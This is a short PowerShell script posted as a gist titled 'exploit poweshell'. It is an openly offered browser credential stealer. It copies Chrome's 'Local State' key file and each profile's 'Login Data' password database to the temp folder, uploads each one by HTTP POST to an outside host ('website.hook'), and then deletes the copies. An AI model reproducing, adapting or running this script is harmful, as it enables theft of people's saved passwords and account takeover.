exploit poweshell

gistfile1.txt

$profiles = Get-ChildItem "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data" | Where-Object { $_.Name -like "Profile *" }

$localStatePath = "$env:USERPROFILE\AppData\Local\Google\Chrome\User Data\Local State"
$tmpLocalState = "$env:TEMP\local_state"

Copy-Item -Path $localStatePath -Destination $tmpLocalState -ErrorAction SilentlyContinue

if (Test-Path $tmpLocalState) {
    Invoke-WebRequest -Uri "https://website.hook?name=local_state" -Method Post -InFile $tmpLocalState -ContentType "application/octet-stream"
    Remove-Item $tmpLocalState -Force -ErrorAction SilentlyContinue
}

foreach ($profile in $profiles) {
    $p = $profile.Name
    $safeName = ($p -replace '\s+', '_').ToLower()
    $f = Join-Path $profile.FullName "Login Data"
    if (Test-Path $f) {
        $tmp = "$env:TEMP\$safeName-logindata"
        Copy-Item -Path $f -Destination $tmp -ErrorAction SilentlyContinue
        if (Test-Path $tmp) {
            Invoke-WebRequest -Uri "https://website.hook?name=$safeName" -Method Post -InFile $tmp -ContentType "application/octet-stream"
            Remove-Item $tmp -Force -ErrorAction SilentlyContinue
        }
    }
}